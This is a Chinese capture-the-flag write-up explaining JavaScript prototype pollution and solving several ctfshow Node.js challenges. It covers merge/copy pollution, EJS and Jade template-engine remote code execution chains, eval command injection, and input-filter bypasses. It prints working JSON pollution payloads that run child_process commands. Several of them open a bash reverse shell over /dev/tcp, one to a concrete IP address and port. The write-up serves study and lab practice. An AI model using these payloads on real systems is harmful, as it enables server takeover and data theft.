最近又遇到了有关原型链污染的题目,所以在此总结一下,方便回顾
js中一切皆对象,其中对象之间是存在共同和差异的。
Object
的原型null
prototype
属性,但是实力对象没有1、原型的定义:
原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承
(1)所有引用类型(函数,数组,对象)都拥有__proto__
属性(隐式原型
(2)所有函数拥有prototype
属性(显式原型)(仅限函数)
2、原型链的定义:
原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。
__proto__
分别是什么?
prototype
是一个类的属性,所有类对象在实例化的时候都会拥有prototype
中的属性的方法一个对象的
__proto__
属性,指向这个对象所在类的prototype
属性
我们可以通过Foo.prototype
来访问Foo
类的原型,但Foo
实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__
登场了。
一个Foo类实例化出来的foo对象,可以通过foo.__proto__
属性来访问Foo类的原型,也就是说:
foo.__proto__ == Foo.prototype
所有类对象在实例化的时候将会拥有prototype
中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
// Name: Melania Trump
总结一下,对于对象son,在调用son.last_name
的时候,实际上JavaScript引擎会进行如下操作:
son.__proto__
中寻找last_nameson.__proto__.__proto__
中寻找last_namenull
结束。比如,Object.prototype
的__proto__
就是null
知识点:
__proto__
属性,指向类的原型对象prototype
var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null
var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null
function f(){
return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null
知道这个,后面的就容易理解了
对于语句:object[a][b] = value
如果可以控制a、b、value的值,将a设置为__proto__
,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。
object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo); //Hello World
object2 = {"c":1, "d":2};
console.log(object2.foo); //Hello World
最终会输出两个Hello World。为什么object2在没有设置foo属性的情况下,也会输出Hello World呢?就是因为在第二条语句中,我们对object1的原型对象设置了一个foo属性,而object2和object1一样,都是继承了Object.prototype。在获取object2.foo时,由于object2本身不存在foo属性,就会往父类Object.prototype中去寻找。这就造成了一个原型链污染,所以原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。
merge操作是最常见可能控制键名的操作,也最能被原型链攻击。
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b) // 1 2
object3 = {}
console.log(object3.b) // 2
上述已经污染成功了,object3并没有b
变量,但是输出为2,说明我们已经污染了Object
原型对象的值,根据原型链继承,object3中也有b
变量,所以输出为2
需要注意的点是:
在JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。
如果我们不使用json解析:
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b) // 1 2
o3 = {}
console.log(o3.b) // undefiend
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}}
)中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]
,__proto__
并不是一个key,自然也不会修改Object的原型。
https://www.anquanke.com/post/id/236354#h2-2
该漏洞可以参考:ctfshowweb341
想要使用ejs进行RCE的前提是需要有原型链污染。例如:
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: 'login success!'});
}else{
return res.json({ret_code: 2, ret_msg: 'login fail!'});
}
});
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
这里通过copy()
函数就可以造成原型链污染漏洞
从app.js
我们可以看到使用了ejs
模板引擎:
app.engine('html', require('ejs').__express);
app.set('view engine', 'html');
我们跟进ejs.js
中的renderFile()
函数
在 EJS(Embedded JavaScript)模板引擎中,
renderFile()
是一个用于加载和渲染模板文件的方法。它通常与 Express 框架一起使用。
renderFile()
方法的作用是读取指定的 EJS 模板文件,并将数据填充到模板中生成最终的 HTML 内容。这个方法多用于将动态数据注入到模板中,以生成动态的网页内容
可见,这个renderFile()
函数非常的重要,如果能够控制它输出的值,就会执行相应的代码
exports.renderFile = function () {
var args = Array.prototype.slice.call(arguments);
var filename = args.shift();
var cb;
var opts = {filename: filename};
var data;
var viewOpts;
...
return tryHandleCache(opts, data, cb);
};
返回值是tryHandleCache(opts, data, cb)
我们跟进一下:
function tryHandleCache(options, data, cb) {
var result;
if (!cb) {
if (typeof exports.promiseImpl == 'function') {
return new exports.promiseImpl(function (resolve, reject) {
try {
result = handleCache(options)(data);
resolve(result);
}
...
}
else {
try {
result = handleCache(options)(data);
}catch (err) {
return cb(err);
}
...
}
}
我们发现这个函数一定会进入:handleCache()
function handleCache(options, template) {
var func;
var filename = options.filename;
var hasTemplate = arguments.length > 1;
...
func = exports.compile(template, options); //返回值
if (options.cache) {
exports.cache.set(filename, func);
}
return func;
}
这个函数的返回值是func
,而func
是 exports.compile(template, options)
的返回值,继续跟进:compile()
compile: function () {
...
if (!this.source) {
this.generateSource();
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
...
...
}
我们发现函数里面存在大量拼接渲染,
如果能够覆盖 opts.outputFunctionName
, 这样我们构造的payload就会被拼接进js语句中,并在 ejs 渲染时进行 RCE
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var __tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); var __tmp2 = __append;'
// 拼接了命令语句
我们可以覆盖opts.outputFunctionName
为:
__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir');var __tmp2
然后经过ejs原型链污染掉outputFunctionName
就可以实现rce了
由于此处例子的:user.userinfo
是一个函数,所以需要使用两次__proto__
才能获得原型对象:Object
{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir');var __tmp2"}}}
进行 copy 函数后, 此时 outputFunctionName
已经在全局变量中被复制了, 可以在 Global 的 __proto__
的 __proto__
的 __proto__
下找到我们的污染链:
var escapeFn = opts.escapeFunction;
var ctor;
...
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}
伪造 opts.escapeFunction
也可以进行 RCE
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true}}}
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}
可以参考:ctfshow web342
原型链的污染思路和 ejs 思路很像
app.js中发现模板引擎为jade:
app.engine('jade', require('jade').__express);
app.set('view engine', 'jade');
我们跟进jade.js
,继续看renderFile()
exports.renderFile = function(path, options, fn){
// support callback API
...
options.filename = path;
return handleTemplateCache(options)(options); //返回值
};
跟进handleTemplateCache()
function handleTemplateCache (options, str) {
...
else {
var templ = exports.compile(str, options); //
if (options.cache) exports.cache[key] = templ;
return templ;
}
}
返回值为temp1
,所以我们跟进compile()
我们必须满足:compileDebug==true
jade 模板和 ejs 不同, 在compile之前会有 parse 解析, 尝试控制传入 parse 的语句
所以我们跟进一下parse()
函数
在 parse 函数中主要执行了这两步, 最后返回的部分:
var body = ''
+ 'var buf = [];\n'
+ 'var jade_mixins = {};\n'
+ 'var jade_interp;\n'
+ (options.self
? 'var self = locals || {};\n' + js
: addWith('locals || {}', '\n' + js, globals)) + ';'
+ 'return buf.join("");';
return {body: body, dependencies: parser.dependencies};
options.self
可控, 如果我们控制self=true
,可以绕过 addWith
函数,
回头跟进 compile 函数, 看看作用:
返回的是 buf, 跟进 visit 函数
如果 debug 为 true, node.line
就会被 push 进去, 造成拼接 (两个参数)
jade_debug.unshift(new jade.DebugItem( 0, "" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//
// 注释符注释掉后面的语句
在返回的时候还会经过 visitNode 函数:
visitNode: function(node){
return this['visit' + node.type](node);}
这个函数会执行visit
开头的函数,所以我们需要控制type
为有效的:
visitAttributes
visitBlock
visitBlockComment √
visitCase
visitCode √
visitComment √
visitDoctype √
visitEach
visitFilter
visitMixin
visitMixinBlock √
visitNode
visitLiteral
visitText
visitTag
visitWhen
然后就可以返回 buf 部分进行命令执行
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}
(污染对应的变量,这样才能进入到指定的地方进行字符串拼接)
补充: 针对 jade RCE链的污染, 普通的模板可以只需要污染 self 和 line, 但是有继承的模板还需要污染 type
login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
很显然,我们只需要绕过这里: toUpperCase()是javascript中将小写转换成大写的函数。
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
我们可以使用小写绕过:ctfshow
这里还有一个小trick,
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
所以我们也可以写成这样:ctfſhow
源码提示:
因此我们可以使用nodejs
中的eval()
进行命令执行
Node.js中的
child_process.exec
调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');
来进行调用。
这里我们选择反弹shell,
bash -i >& /dev/tcp/ip/port 0>&1
这一句的意思就是反弹shell,将输出与输入都重定型到指定ip的指定端口上面,
但是我们不能直接这样,我们需要先base64编码之后(注意加号要进行url编码为%2B),然后使用echo输出,使用管道符|将输出作为base64 -d
输入进行base64解密,最后再传给bash
这里我选择自己的服务器,首先监听9996端口,然后再execute
成功监听到了:
直接读flag
我们了解到如下知识点:
__filename
:当前模块的文件名。 这是当前模块文件的已解析符号链接的绝对路径。
__dirname
:可以获得当前文件所在目录从盘符开始的全路径
有一种方法是使用fs
模块去读取当前目录的文件名,然后通过方法去读取文件内容:
require('fs').readdirSync('.')
require('fs').readFileSync('fl001g.txt')
常规方法:这里过滤了exec
,我们可以使用spawn
nodejs
的child_process
中可以使用 exec
、execSync
、spawn
、spawnSync
进行命令执行
当我们使用:
require('child_process').spawnSync('ls')
发现,显示出 object
,查询资料
返回的object里有个stdout
属性,我们调用它,就可以当成字符串输出了:
然后我们去读文件:
// require('child_process').spawnSync('cat fl001g.txt').stdout
如果这样读的话语法是错的,我们需要这样:
require('child_process').spawnSync('cat',['fl001g.txt']).stdout
还有一种思路,通过定义变量,然后多个变量拼接:
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
关键点在这里:
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
这里可以使用数组绕过
a = ['1']
b = 1
console.log(a + 'flag')
console.log(b + 'flag')
输出:
1flag
1flag
可以看到,nodejs
中:如果数组与字符串拼接后输出、数字与字符串拼接后输出,结果是一样的
于是我们就有一种思路,可以a传入数组,然后b传入等值的数字:
a[]=1&b=1
还有一种方法,
nodejs
中数组只能是数字索引,如果为非数字索引的话,相当于对象了。
a = {'x': 1}
b = {'x': 2}
console.log(a + 'flag')
console.log(b + 'flag')
输出:
[object Object]flag
[object Object]flag
因此我们直接绕过:
a[x]=1&b[x]=2
关键在:
commons.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){ //
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
我们可以通过copy()
函数,通过原型链来污染secret变量的ctfshow属性
{
"username":"asd",
"password":"123",
"__proto__" : {
"ctfshow":"36dboy"
}
}
login.js
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}
这里没法利用了
api.js
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
注意这一句: Function(query)(query)
,这种写法可以动态执行函数的:
console.log(Function('return global.process.mainModule.constructor._load("child_process").execSync("whoami").toString()')('return global.process.mainModule.constructor._load("child_process").execSync("whoami").toString()'))
// leekos\like
因此我们只需要通过原型链污染一下query
变量,反弹shell即可:
"__proto__": {
"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"'')"
}
登陆的时候污染query
,然后访问/api
路由即可触发反弹shell:
login.js发生了点变化,api.js还是一样的
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}
这里还是调用了copy()
函数,可以造成原型链污染。但是注意,这里并不是使user.userinfo.isAdmin=true
,因为就算污染了它的原型,它还是false,因为类似与就近原则,变量的值还是等于靠近他们的值,我们没办法从这里入手
我们继续从query
入手,在这里我们要将req.body
中的值复制给user.userinfo
由于user.userinfo
是一个函数,所以经过一次__proto__
后,得到的原型对象是Function
,再经过一次__proto__
后,得到的原型对象是Object
,就可以污染query
了,这里只需要两次__proto__
就行了:
"__proto__":{
"__proto__":{
"query":
"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/49.235.108.15/9996 0>&1\"')"
}
}
https://www.anquanke.com/post/id/236354#h2-2
"__proto__":{
"__proto__":{
"outputFunctionName":
"_tmp1; return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var _tmp2"
}
}
{
"__proto__":{
"__proto__": {
"type":"Code",
"compileDebug":true,
"self":true,
"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');//"
}
}
}
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
过滤了8c
、2c
、,
我们本来应该这么传参:
/?query={"name":"admin","password":"ctfshow","isVIP":true}
HTTP协议中允许同名参数出现多次,但不同服务端对同名参数 处理是不一样的:
Web服务器 参数获取函数 获取到的参数
PHP/Apache $_GET(“par”) Last
JSP/Tomcat Request.getParameter(“par”) First
Perl(CGI)/Apache Param(“par”) First
Python/Apache getvalue(“par”) All(List)
ASP/IIS Request.QueryString(“par”) All (comma-delimited string)
在nodejs中会把同名参数以数组的形式存储,并且JSON.parse
可以正常解析
上面逗号,
被过滤了,我们可以使用&
改写成下面的格式:
/?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
但是此时又有一个问题,双引号的url编码:%22
与ctfshow的c
结合后会变成2c
,被过滤了,
所以我们应该把c
编码一下:%63
/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
https://www.anquanke.com/post/id/236354#h2-3